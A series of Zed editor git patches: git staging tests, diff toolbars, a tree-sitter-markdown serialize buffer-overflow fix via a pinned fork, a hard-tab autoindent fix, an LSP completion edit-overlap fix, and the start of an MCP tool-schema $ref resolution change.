+                            fs.unpause_events_and_flush();
+                            events_paused = false;
+                        }
+                        cx.run_until_parked();
+                        project
+                            .update(cx, |project, cx| {
+                                project.unstage_staged_hunks(
+                                    staged_diff.clone(),
+                                    vec![index_full_range],
+                                    cx,
+                                )
+                            })
+                            .unwrap();
+                        cx.run_until_parked();
+                        let disk = disk_index_text(&fs);
+                        assert_eq!(
+                            disk, committed_text,
+                            "after unstaging everything, the index must equal HEAD"
+                        );
+                    }
+                    // Unstage everything and immediately re-stage everything
+                    // with no settling in between: the re-stage must supersede
+                    // the in-flight unstage (the footprint mechanism), leaving
+                    // the index equal to the worktree.
+                    _ => {
+                        log::info!("checkpoint: unstage-all then stage-all");
+                        if events_paused {
+                            fs.unpause_events_and_flush();
+                            events_paused = false;
+                        }
+                        cx.run_until_parked();
+                        project
+                            .update(cx, |project, cx| {
+                                project.unstage_staged_hunks(
+                                    staged_diff.clone(),
+                                    vec![index_full_range],
+                                    cx,
+                                )
+                            })
+                            .unwrap();
+                        project
+                            .update(cx, |project, cx| {
+                                project.stage_hunks(
+                                    buffer.clone(),
+                                    unstaged_diff.clone(),
+                                    vec![buffer_full_range],
+                                    cx,
+                                )
+                            })
+                            .unwrap();
+                        cx.run_until_parked();
+                        let disk = disk_index_text(&fs);
+                        let buffer_text = buffer.read_with(cx, |buffer, _| buffer.text());
+                        assert_eq!(
+                            disk, buffer_text,
+                            "re-staging everything must supersede the in-flight unstage"
+                        );
+                    }
+                }
+            }
+            82..90 => {
+                if events_paused {
+                    log::info!("unpausing fs events");
+                    fs.unpause_events_and_flush();
+                    events_paused = false;
+                } else {
+                    log::info!("pausing fs events");
+                    fs.pause_events();
+                    events_paused = true;
+                }
+            }
+            _ => {
+                log::info!("settling");
+                if events_paused {
+                    fs.unpause_events_and_flush();
+                    events_paused = false;
+                }
+                cx.run_until_parked();
+            }
+        }
+
+        for _ in 0..rng.random_range(0..5) {
+            cx.executor().simulate_random_delay().await;
+        }
+    }
+
+    if events_paused {
+        fs.unpause_events_and_flush();
+    }
+    cx.run_until_parked();
+
+    assert_settled(&unstaged_diff, "unstaged diff", cx);
+    assert_settled(&staged_diff, "staged diff", cx);
+    assert_settled(&uncommitted_diff, "uncommitted diff", cx);
+
+    let old_unstaged_state = capture_diff_state(&unstaged_diff, cx);
+    let old_staged_state = capture_diff_state(&staged_diff, cx);
+    let old_uncommitted_state = capture_diff_state(&uncommitted_diff, cx);
+
+    let disk_index_text = repo
+        .load_index_text(RepoPath::from_rel_path(rel_path("file.txt")))
+        .await
+        .unwrap();
+    assert_eq!(
+        old_unstaged_state.1.as_deref(),
+        Some(disk_index_text.as_str()),
+        "unstaged diff base text differs from the index on disk"
+    );
+    assert_eq!(
+        old_staged_state.0, disk_index_text,
+        "staged diff buffer differs from the index on disk"
+    );
+    assert_eq!(
+        old_staged_state.1.as_deref(),
+        Some(committed_text.as_str()),
+        "staged diff base text differs from HEAD"
+    );
+    assert_eq!(
+        old_uncommitted_state.1.as_deref(),
+        Some(committed_text.as_str()),
+        "uncommitted diff base text differs from HEAD"
+    );
+
+    // Differential check: a from-scratch computation over (HEAD, index,
+    // worktree) must agree with the incrementally-maintained state that just
+    // settled.
+    let old_entity_ids = [
+        unstaged_diff.entity_id(),
+        staged_diff.entity_id(),
+        uncommitted_diff.entity_id(),
+    ];
+    drop(unstaged_diff);
+    drop(staged_diff);
+    drop(uncommitted_diff);
+    // An empty update flushes effects so that the dropped entities are
+    // actually released before we reopen.
+    cx.update(|_| {});
+    cx.run_until_parked();
+
+    let unstaged_diff = project
+        .update(cx, |project, cx| {
+            project.open_unstaged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    let (staged_diff, _) = project
+        .update(cx, |project, cx| {
+            project.open_staged_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    let uncommitted_diff = project
+        .update(cx, |project, cx| {
+            project.open_uncommitted_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    cx.run_until_parked();
+
+    assert_ne!(
+        unstaged_diff.entity_id(),
+        old_entity_ids[0],
+        "the unstaged diff was not actually closed"
+    );
+    assert_ne!(
+        staged_diff.entity_id(),
+        old_entity_ids[1],
+        "the staged diff was not actually closed"
+    );
+    assert_ne!(
+        uncommitted_diff.entity_id(),
+        old_entity_ids[2],
+        "the uncommitted diff was not actually closed"
+    );
+
+    assert_eq!(
+        capture_diff_state(&unstaged_diff, cx),
+        old_unstaged_state,
+        "reopened unstaged diff differs from the settled one"
+    );
+    assert_eq!(
+        capture_diff_state(&staged_diff, cx),
+        old_staged_state,
+        "reopened staged diff differs from the settled one"
+    );
+    assert_eq!(
+        capture_diff_state(&uncommitted_diff, cx),
+        old_uncommitted_state,
+        "reopened uncommitted diff differs from the settled one"
+    );
+}
+
 #[gpui::test]
 async fn test_single_file_diffs(cx: &mut gpui::TestAppContext) {
     init_test(cx);
@@ -10975,10 +11674,18 @@ async fn test_staging_hunk_preserve_executable_permission(cx: &mut gpui::TestApp
         .await
         .unwrap();
 
-    uncommitted_diff.update(cx, |diff, cx| {
-        let hunks = diff.snapshot(cx).hunks(&snapshot).collect::<Vec<_>>();
-        diff.stage_or_unstage_hunks(true, &hunks, &snapshot, true, cx);
+    let ranges = uncommitted_diff.read_with(cx, |diff, cx| {
+        diff.snapshot(cx)
+            .hunks(&snapshot)
+            .map(|hunk| hunk.buffer_range)
+            .collect::<Vec<_>>()
     });
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(buffer.clone(), unstaged_diff, ranges, cx)
+        })
+        .unwrap();
 
     cx.run_until_parked();
 
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index c4c838042c0094..8d589f947cd90e 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -25,6 +25,11 @@ message UpdateDiffBases {
     // and the contents of the index and HEAD differ for this path,
     // where None means the path doesn't exist in that state of the repo.
     INDEX_AND_HEAD = 3;
+    // The contents of the index and HEAD are unchanged. Sent so that
+    // remote clients still recalculate their diffs in response to git
+    // events, just as the host does, even when an index write ends up
+    // changing nothing (e.g. writing content identical to what's there).
+    UNCHANGED = 4;
   }
 
   optional string staged_text = 3;
diff --git a/crates/search/src/buffer_search.rs b/crates/search/src/buffer_search.rs
index d0c0a5385ff66a..2c51c97a0eb03d 100644
--- a/crates/search/src/buffer_search.rs
+++ b/crates/search/src/buffer_search.rs
@@ -101,7 +101,6 @@ impl EventEmitter<workspace::ToolbarItemEvent> for BufferSearchBar {}
 impl Render for BufferSearchBar {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let focus_handle = self.focus_handle(cx);
-
         let has_splittable_editor = self.splittable_editor.is_some();
         let split_buttons = self
             .splittable_editor
@@ -539,7 +538,9 @@ impl ToolbarItemView for BufferSearchBar {
             .and_then(|entity| entity.downcast::<SplittableEditor>().ok())
         {
             self._splittable_editor_subscription =
-                Some(cx.observe(&splittable_editor, |_, _, cx| cx.notify()));
+                Some(cx.observe(&splittable_editor, |_, _, cx| {
+                    cx.notify();
+                }));
             self.splittable_editor = Some(splittable_editor.downgrade());
         }
 
diff --git a/crates/zed/src/zed.rs b/crates/zed/src/zed.rs
index 69fc69d5469115..2ecd422be6e6b9 100644
--- a/crates/zed/src/zed.rs
+++ b/crates/zed/src/zed.rs
@@ -31,10 +31,13 @@ use feature_flags::{FeatureFlagAppExt as _, PanicFeatureFlag};
 use fs::Fs;
 use futures::FutureExt as _;
 use futures::{StreamExt, channel::mpsc, select_biased};
+use git_ui::branch_diff::BranchDiffToolbar;
 use git_ui::commit_view::CommitViewToolbar;
 use git_ui::git_panel::GitPanel;
-use git_ui::project_diff::{BranchDiffToolbar, ProjectDiffToolbar};
+use git_ui::project_diff::ProjectDiffToolbar;
 use git_ui::solo_diff_view::{SoloDiffGitToolbar, SoloDiffStyleToolbar};
+use git_ui::staged_diff::StagedDiffToolbar;
+use git_ui::unstaged_diff::UnstagedDiffToolbar;
 use gpui::{
     Action, App, AppContext as _, AsyncWindowContext, ClipboardItem, Context, DismissEvent,
     Element, Entity, FocusHandle, Focusable, Image, ImageFormat, KeyBinding, ParentElement,
@@ -1413,6 +1416,10 @@ fn initialize_pane(
             toolbar.add_item(highlights_tree_item, window, cx);
             let project_diff_toolbar = cx.new(|cx| ProjectDiffToolbar::new(workspace, cx));
             toolbar.add_item(project_diff_toolbar, window, cx);
+            let staged_diff_toolbar = cx.new(|cx| StagedDiffToolbar::new(workspace, cx));
+            toolbar.add_item(staged_diff_toolbar, window, cx);
+            let unstaged_diff_toolbar = cx.new(|cx| UnstagedDiffToolbar::new(workspace, cx));
+            toolbar.add_item(unstaged_diff_toolbar, window, cx);
             let branch_diff_toolbar = cx.new(BranchDiffToolbar::new);
             toolbar.add_item(branch_diff_toolbar, window, cx);
             let solo_diff_git_toolbar = cx.new(SoloDiffGitToolbar::new);
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index 7eb78ca0ecc6f1..c70e8d3273cd30 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -352,6 +352,12 @@ pub mod git {
             /// Opens the git branch selector.
             #[action(deprecated_aliases = ["branches::OpenRecent"])]
             Branch,
+            /// Shows uncommitted changes across the project.
+            ViewUncommittedChanges,
+            /// Shows unstaged changes across the project.
+            ViewUnstagedChanges,
+            /// Shows staged changes across the project.
+            ViewStagedChanges,
             /// Opens the git stash selector.
             ViewStash,
             /// Opens the git worktree selector.

From 28c2e7d1e4dc9c8df965adf7656f9b1d993c9a23 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Tue, 7 Jul 2026 03:28:33 -0400
Subject: [PATCH 291/772] Fix tree-sitter-markdown scanner serialize buffer
 overflow (#60312)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Zed bundles the markdown grammar's block scanner natively, and its
`serialize()` `memcpy`s the open-block stack into tree-sitter's fixed
1024-byte serialization buffer with no bounds check. Markdown with
roughly 255+ nested blocks overflows that buffer, and because it sits at
the front of `struct TSParser`, the overflow clobbers the adjacent
parse-stack pointer and heap. Debug builds of the tree-sitter runtime
catch this with an assertion, but release builds like Zed's have no
check and silently corrupt parser memory — which is why this surfaced as
wild crashes deep in tree-sitter's parse stack rather than clean
failures. Still open upstream as
tree-sitter-grammars/tree-sitter-markdown#243.

This PR points `tree-sitter-md` at a `zed-industries` fork whose
`serialize()` refuses to write state that doesn't fit (bounded by the
same running counter the header writes advance, so the check can't
drift). The scanner then deserializes to a fresh state, and the
pathologically nested region surfaces as ordinary tree-sitter `ERROR`
nodes — visible, safe degradation for an adversarial input class,
deliberately chosen over the two alternatives: truncating the block
stack would deserialize into a plausible-but-wrong state and produce
silently incorrect trees, and the scanner ABI offers no error channel at
all (`serialize()` returns a length into a fixed buffer; there is no way
to fail a parse). A nesting-depth cap at block-open time would give
fully deterministic semantics, but that's a behavior change across 13
scanner call sites that belongs upstream, not in a hotfix fork.

The pinned branch is upstream's `9a23c1a9` (the revision Zed already
pinned) plus exactly two commits, for easy review: the guard
(zed-industries/tree-sitter-markdown@179422edf8d0ee511bd3875eb8942d16a8f1f277)
and regression tests
(zed-industries/tree-sitter-markdown@b596e737286780d7bfa9fcddceaeeb754574b352).
The deep-nesting test aborts on the unguarded scanner and passes with
the guard; a moderate-nesting test pins that inputs fitting the buffer
still parse cleanly. The same change is also up as
zed-industries/tree-sitter-markdown#1 into the fork's default branch
(`split_parser`), so future pin bumps don't lose it; if upstream fixes
#243, we can drop the fork entirely on the next bump.

Closes FR-115

Release Notes:

- Fixed a potential crash when editing Markdown with deeply nested
blocks
---
 Cargo.lock | 2 +-
 Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 5a64dbf6b4f2e6..689b4f65498da0 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -19445,7 +19445,7 @@ checksum = "c4013970217383f67b18aef68f6fb2e8d409bc5755227092d32efb0422ba24b8"
 [[package]]
 name = "tree-sitter-md"
 version = "0.3.2"
-source = "git+https://github.com/tree-sitter-grammars/tree-sitter-markdown?rev=9a23c1a96c0513d8fc6520972beedd419a973539#9a23c1a96c0513d8fc6520972beedd419a973539"
+source = "git+https://github.com/zed-industries/tree-sitter-markdown?rev=b596e737286780d7bfa9fcddceaeeb754574b352#b596e737286780d7bfa9fcddceaeeb754574b352"
 dependencies = [
  "cc",
  "tree-sitter-language",
diff --git a/Cargo.toml b/Cargo.toml
index 2adf179e513d37..15c7b4401a08bf 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -809,7 +809,7 @@ tree-sitter-heex = { git = "https://github.com/zed-industries/tree-sitter-heex",
 tree-sitter-html = "0.23"
 tree-sitter-jsdoc = "0.23"
 tree-sitter-json = "0.24"
-tree-sitter-md = { git = "https://github.com/tree-sitter-grammars/tree-sitter-markdown", rev = "9a23c1a96c0513d8fc6520972beedd419a973539" }
+tree-sitter-md = { git = "https://github.com/zed-industries/tree-sitter-markdown", rev = "b596e737286780d7bfa9fcddceaeeb754574b352" } # fork of 9a23c1a with serialize() buffer-overflow fix; https://github.com/tree-sitter-grammars/tree-sitter-markdown/issues/243
 tree-sitter-python = "0.25"
 tree-sitter-regex = "0.24"
 tree-sitter-ruby = "0.23"

From d9ada8487bca20be32c7621e296030c9d68362f5 Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Tue, 7 Jul 2026 13:15:54 +0530
Subject: [PATCH 292/772] Fix hard-tab block autoindent skipping unindented
 lines (#60406)

# Objective

Fixes #59979

With hard tabs on, expanding a multi-line snippet only re-indents the
lines that already start with a tab. Anything with no leading whitespace
(closing brackets, mostly) stays at column 0.

## Solution

Block autoindent shifts each line by the first line's delta, but only
when the line's indent kind matches the target kind. A line with no
indentation defaults to `IndentKind::Space`, so under hard tabs it never
matches and gets skipped. An empty indent doesn't really have a kind, so
I let it adopt the target kind before the check. Lines that actually
have space indentation in a tab buffer are still left alone. Normalizing
those felt like a bigger question than this bug, happy to look at it
separately if wanted.

## Testing

New `test_autoindent_block_mode_with_hard_tabs`, same shape as the
snippet in the issue. Fails on main (closing brace stays at column 0),
passes with the fix. `cargo test -p language` and `-p editor` are green,
clippy and fmt too.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed multi-line snippets leaving unindented lines at column 0 when
`hard_tabs` is enabled.
---
 crates/language/src/buffer.rs       |  5 +++++
 crates/language/src/buffer_tests.rs | 32 +++++++++++++++++++++++++++++
 2 files changed, 37 insertions(+)

diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index d41143d12f5d89..c37065146f25bf 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -2163,6 +2163,11 @@ impl Buffer {
                             for row in row_range.skip(1) {
                                 indent_sizes.entry(row).or_insert_with(|| {
                                     let mut size = snapshot.indent_size_for_line(row);
+                                    // A line with no indentation has an arbitrary
+                                    // indent kind, so it can adopt the new kind.
+                                    if size.len == 0 {
+                                        size.kind = new_indent.kind;
+                                    }
                                     if size.kind == new_indent.kind {
                                         match delta.cmp(&0) {
                                             Ordering::Greater => size.len += delta as u32,
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index cdcd90314cd7a5..29afbe84b72c59 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -2180,6 +2180,38 @@ fn test_autoindent_block_mode_without_original_indent_columns(cx: &mut App) {
     });
 }
 
+#[gpui::test]
+fn test_autoindent_block_mode_with_hard_tabs(cx: &mut App) {
+    init_settings(cx, |settings| {
+        settings.defaults.hard_tabs = Some(true);
+    });
+
+    cx.new(|cx| {
+        let text = "fn a() {\n\tb();\n}";
+        let mut buffer = Buffer::local(text, cx).with_language(rust_lang(), cx);
+
+        // Insert a block whose indentation mixes tab-indented lines with
+        // lines that have no leading whitespace, like a snippet body.
+        let inserted_text = "if c {\n\td();\n}\n";
+        buffer.edit(
+            [(Point::new(2, 0)..Point::new(2, 0), inserted_text)],
+            Some(AutoindentMode::Block {
+                original_indent_columns: Vec::new(),
+            }),
+            cx,
+        );
+
+        // All of the block's lines are indented, including the ones that
+        // originally had no indentation.
+        assert_eq!(
+            buffer.text(),
+            "fn a() {\n\tb();\n\tif c {\n\t\td();\n\t}\n}"
+        );
+
+        buffer
+    });
+}
+
 #[gpui::test]
 fn test_autoindent_block_mode_multiple_adjacent_ranges(cx: &mut App) {
     init_settings(cx, |_| {});

From 001bda1a46af8a8e7d0abc89aaf67a6a1193426f Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Tue, 7 Jul 2026 13:19:53 +0530
Subject: [PATCH 293/772] project: Fix ref-match rust completions dropping the
 leading & (#60521)

Closes #56973, Follow-up for
https://github.com/zed-industries/zed/pull/56976

When a completion's `additionalTextEdits` contained a zero-width
insertion touching the edge of the primary edit, the overlap check
treated it as overlapping and silently skipped it. This broke
rust-analyzer's ref-match completions (`&foo`), which deliver the `&` as
a zero-width additional edit at the primary edit's start (#56973). The
same root cause previously broke auto-imports at the very start of a
file (#26136), which was worked around in #37746 with a special case for
edits at position (0, 0).

This PR replaces that special case with a general rule: a zero-width
additional edit only overlaps the primary edit when it falls strictly
inside it. i.e. touching the boundary is fine.

This one check handles both the file-start auto-import case and the `&`
ref-match case, so the (0, 0) workaround from #37746 is removed.
Non-insertion edits still go through the original overlap check from
#1871.

Added three regression tests:
- the file-start auto-import (#26136)
-  the `&` insertion at the primary edit's start (#56973)
- overlapping edits being skipped while non-overlapping ones apply
(general skip case)

Release Notes:

- Fixed rust-analyzer completions like `&some_var` inserting only the
variable name and dropping the leading `&` when accepted.
---
 crates/editor/src/editor_tests.rs | 160 ++++++++++++++++++++++++++++++
 crates/project/src/lsp_store.rs   |  38 +++----
 2 files changed, 175 insertions(+), 23 deletions(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 181a4d447ba72f..2fa319300e5eab 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -22255,6 +22255,166 @@ async fn test_completions_with_additional_edits(cx: &mut TestAppContext) {
     cx.assert_editor_state("fn main() { let a = Some(2)ˇ; }");
 }
 
+async fn check_completion_additional_edits(
+    initial_state: &str,
+    keystroke: &str,
+    completion_item: lsp::CompletionItem,
+    state_after_primary_edit: &str,
+    state_after_additional_edits: &str,
+    cx: &mut TestAppContext,
+) {
+    init_test(cx, |_| {});
+
+    let mut cx = EditorLspTestContext::new_rust(
+        lsp::ServerCapabilities {
+            completion_provider: Some(lsp::CompletionOptions {
+                trigger_characters: Some(vec![".".to_string()]),
+                resolve_provider: Some(true),
+                ..Default::default()
+            }),
+            ..Default::default()
+        },
+        cx,
+    )
+    .await;
+
+    cx.set_state(initial_state);
+
+    let closure_completion_item = completion_item.clone();
+    let mut request = cx.set_request_handler::<lsp::request::Completion, _, _>(move |_, _, _| {
+        let task_completion_item = closure_completion_item.clone();
+        async move {
+            Ok(Some(lsp::CompletionResponse::Array(vec![
+                task_completion_item,
+            ])))
+        }
+    });
+
+    cx.simulate_keystroke(keystroke);
+    request.next().await;
+
+    cx.condition(|editor, _| editor.context_menu_visible())
+        .await;
+    let apply_additional_edits = cx.update_editor(|editor, window, cx| {
+        editor
+            .confirm_completion(&ConfirmCompletion::default(), window, cx)
+            .unwrap()
+    });
+    cx.assert_editor_state(state_after_primary_edit);
+
+    cx.set_request_handler::<lsp::request::ResolveCompletionItem, _, _>(move |_, _, _| {
+        let task_completion_item = completion_item.clone();
+        async move { Ok(task_completion_item) }
+    })
+    .next()
+    .await
+    .unwrap();
+    apply_additional_edits.await.unwrap();
+    cx.assert_editor_state(state_after_additional_edits);
+}
+
+// rust-analyzer's ref-match completions (`&some_str`) deliver the `&` as a
+// zero-width additionalTextEdit at the primary edit's start.
+// Ref: https://github.com/zed-industries/zed/issues/56973
+#[gpui::test]
+async fn test_completions_with_zero_width_additional_edit_at_primary_edit_start(
+    cx: &mut TestAppContext,
+) {
+    check_completion_additional_edits(
+        // The completion must not start at (0, 0), so that this case is
+        // distinct from the file-start auto-import test below.
+        "bar(fˇ)",
+        "o",
+        lsp::CompletionItem {
+            label: "&foo".to_string(),
+            filter_text: Some("foo".to_string()),
+            // Replaces the typed `fo` with `foo`; the committed range is 4..7.
+            text_edit: Some(lsp::CompletionTextEdit::Edit(lsp::TextEdit {
+                range: lsp::Range::new(lsp::Position::new(0, 4), lsp::Position::new(0, 6)),
+                new_text: "foo".to_string(),
+            })),
+            // Zero-width insertion exactly at the committed range's start.
+            additional_text_edits: Some(vec![lsp::TextEdit {
+                range: lsp::Range::new(lsp::Position::new(0, 4), lsp::Position::new(0, 4)),
+                new_text: "&".to_string(),
+            }]),
+            ..Default::default()
+        },
+        "bar(fooˇ)",
+        "bar(&fooˇ)",
+        cx,
+    )
+    .await;
+}
+
+// Additional edits which overlap the primary completion edit must be skipped
+// while non-overlapping edits from the same completion are still applied.
+// Ref: https://github.com/zed-industries/zed/pull/1871
+#[gpui::test]
+async fn test_completions_skip_additional_edits_overlapping_primary_edit(cx: &mut TestAppContext) {
+    check_completion_additional_edits(
+        "fˇ\nbar",
+        "o",
+        lsp::CompletionItem {
+            label: "foo".to_string(),
+            filter_text: Some("foo".to_string()),
+            // Replaces the typed `fo` with `foo`; the committed range is 0..3.
+            text_edit: Some(lsp::CompletionTextEdit::Edit(lsp::TextEdit {
+                range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(0, 2)),
+                new_text: "foo".to_string(),
+            })),
+            additional_text_edits: Some(vec![
+                // Skip text strictly inside the committed range.
+                lsp::TextEdit {
+                    range: lsp::Range::new(lsp::Position::new(0, 1), lsp::Position::new(0, 2)),
+                    new_text: "XXX".to_string(),
+                },
+                // Apply text which does not touch the committed range.
+                lsp::TextEdit {
+                    range: lsp::Range::new(lsp::Position::new(1, 0), lsp::Position::new(1, 3)),
+                    new_text: "baz".to_string(),
+                },
+            ]),
+            ..Default::default()
+        },
+        "fooˇ\nbar",
+        "fooˇ\nbaz",
+        cx,
+    )
+    .await;
+}
+
+// When both the primary completion edit and an additional edit (auto-import)
+// start at the very beginning of the file, the additional edit must not be
+// treated as overlapping. This payload shape matches what
+// typescript-language-server actually sends for auto-imports at file start.
+// Ref: https://github.com/zed-industries/zed/issues/26136
+#[gpui::test]
+async fn test_completions_with_file_start_auto_import_additional_edit(cx: &mut TestAppContext) {
+    check_completion_additional_edits(
+        "ˇ",
+        "f",
+        lsp::CompletionItem {
+            label: "foo".to_string(),
+            // Replaces the typed `f` at file start; the committed range is 0..3.
+            text_edit: Some(lsp::CompletionTextEdit::Edit(lsp::TextEdit {
+                range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(0, 1)),
+                new_text: "foo".to_string(),
+            })),
+            // Auto-import inserted at the very start of the file.
+            additional_text_edits: Some(vec![lsp::TextEdit {
+                range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(0, 0)),
+                new_text: "bar\n".to_string(),
+            }]),
+            ..Default::default()
+        },
+        "fooˇ",
+        "bar\nfooˇ",
+        cx,
+    )
+    .await;
+}
+
 #[gpui::test]
 async fn test_completions_with_additional_edits_undo(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index e7ac11e773bade..666ba714f97399 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -7238,27 +7238,19 @@ impl LspStore {
                         buffer.start_transaction();
 
                         for (range, text) in edits {
-                            let primary = &completion.replace_range;
-
-                            // Special case: if both ranges start at the very beginning of the file (line 0, column 0),
-                            // and the primary completion is just an insertion (empty range), then this is likely
-                            // an auto-import scenario and should not be considered overlapping
-                            // https://github.com/zed-industries/zed/issues/26136
-                            let is_file_start_auto_import = {
-                                let snapshot = buffer.snapshot();
-                                let primary_start_point = primary.start.to_point(&snapshot);
-                                let range_start_point = range.start.to_point(&snapshot);
-
-                                let result = primary_start_point.row == 0
-                                    && primary_start_point.column == 0
-                                    && range_start_point.row == 0
-                                    && range_start_point.column == 0;
-
-                                result
-                            };
-
-                            let has_overlap = if is_file_start_auto_import {
-                                false
+                            // Zero-width additional edits (e.g. auto-imports at file start, or
+                            // rust-analyzer's ref-match `&` insertions) only overlap the primary
+                            // edit when they fall strictly inside it. Touching its boundary is fine.
+                            //
+                            // Ref: https://github.com/zed-industries/zed/issues/26136
+                            // Ref: https://github.com/zed-industries/zed/issues/56973
+                            let is_insertion = range.start.cmp(&range.end, buffer).is_eq();
+                            let has_overlap = if is_insertion {
+                                let insert_offset = range.start.to_offset(buffer);
+                                all_commit_ranges.iter().any(|commit_range| {
+                                    commit_range.start.to_offset(buffer) < insert_offset
+                                        && insert_offset < commit_range.end.to_offset(buffer)
+                                })
                             } else {
                                 all_commit_ranges.iter().any(|commit_range| {
                                     let start_within =
@@ -7271,8 +7263,8 @@ impl LspStore {
                                 })
                             };
 
-                            //Skip additional edits which overlap with the primary completion edit
-                            //https://github.com/zed-industries/zed/pull/1871
+                            // Skip additional edits which overlap with the primary completion edit
+                            // https://github.com/zed-industries/zed/pull/1871
                             if !has_overlap {
                                 buffer.edit([(range, text)], None, cx);
                             }

From a956add0b655f5b20665cf34641f7c08ede0dafc Mon Sep 17 00:00:00 2001
From: counterfactual5 <108983446+counterfactual5@users.noreply.github.com>
Date: Tue, 7 Jul 2026 15:56:02 +0800
Subject: [PATCH 294/772] Fix MCP tools with $ref/$defs being silently rejected
 (#60165)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #60162.

MCP servers whose tool `inputSchema` uses `$ref`/`$defs` (e.g., Notion
MCP v2.x, and any server using Zod/Pydantic-generated schemas) are
silently rejected with:

```
ERROR Schema cannot be made compatible because it contains "$ref"
```

The affected tools are dropped from the agent panel — the user never
sees them and there is no user-visible error.

## Root cause

`adapt_to_json_schema_subset` rejects any schema containing `$ref` via
`UNSUPPORTED_KEYS`:

```rust
const UNSUPPORTED_KEYS: [&str; 4] = ["if", "then", "else", "$ref"];
```

This is hit by every provider that uses `JsonSchemaSubset` format
(Google Gemini, xAI Grok, OpenAI-compatible proxies, Vercel AI Gateway,
Copilot Chat for Google/xAI vendors, OpenRouter for gemini/grok models).
Providers using `JsonSchema` (Anthropic direct, OpenAI direct) don't hit
this check — `$ref` is passed through to the API, which may or may not
handle it correctly.

This is not an edge case. Every modern MCP server using Zod
(TypeScript), Pydantic (Python), or JSON Schema with shared definitions
generates `$ref`/`$defs` in tool schemas.

## Fix

Add a `resolve_refs` step in `adapt_schema_to_format` that dereferences
all `$ref` pointers using the document's own `$defs` (or legacy
`definitions`) map, making the schema self-contained before
format-specific processing. Applied at the entry point so both
`JsonSchema` and `JsonSchemaSubset` formats benefit.

**Scope note:** previously `JsonSchema` providers (Anthropic direct,
OpenAI direct) received the raw `$ref`/`$defs` and were expected to
handle it themselves — which most do not. After this change, both paths
receive a self-contained schema with refs inlined. This is intentional:
it fixes the same root cause for both paths and avoids provider-specific
behavior divergence.

Supported `$ref` forms:
- `#/$defs/<name>` (JSON Schema draft 2019-09+)
- `#/definitions/<name>` (draft 4-7 legacy)

Edge cases:
- **Nested `$ref`** (definition references another definition): resolved
recursively.
- **Sibling properties alongside `$ref`** (e.g. `{ "$ref": "...",
"description": "..." }`, legal under draft 2019-09+): merged onto the
resolved definition, with siblings overriding the definition's keys.
- **Cyclic references** (A → B → A, or self-referential schemas like a
Tree node): replaced with an empty schema `{}` ("any JSON value"). The
tool still works, just without type info for that recursive field.
- **Unsupported `$ref` forms** (e.g., external URLs): returns an error
with a clear message.
- **Missing definition target**: returns an error naming the missing
ref.

## Testing

Added 10 unit tests in `crates/language_model_core/src/tool_schema.rs`
that cover the patterns produced by Zod/Pydantic-generated MCP schemas:

- `test_refs_are_resolved_via_adapt_schema_to_format` — basic `$ref` →
`$defs` resolution
- `test_refs_in_defs_are_resolved` — nested `$ref` (definition
references another definition)
- `test_refs_in_array_items_are_resolved` — `$ref` inside `array.items`
- `test_legacy_definitions_prefix_is_supported` — old
`#/definitions/<name>` prefix
- `test_schema_without_defs_is_unchanged` — schemas with no `$defs` are
unaffected
- `test_refs_fail_for_unsupported_prefix` — external URL refs error
clearly
- `test_refs_fail_for_missing_definition` — missing target errors
clearly
- `test_cyclic_refs_are_replaced_with_empty_schema` — A → B → A cycle
replaced with `{}`
- `test_self_referential_ref_is_replaced_with_empty_schema` — Tree-like
self-ref replaced with `{}`
- `test_ref_sibling_properties_are_preserved` — sibling properties
alongside `$ref` are merged onto the resolved definition

Existing tests (which call `adapt_to_json_schema_subset` and
`preprocess_json_schema` directly) are unaffected — the fix is additive
at the `adapt_schema_to_format` level.

## Disclosure

I used an LLM to help draft the implementation and tests. I reviewed and
understand the change — it adds one new function (`resolve_refs`) with
two helpers (`parse_ref`, `resolve_refs_recursive`), plus unit tests.

Release Notes:

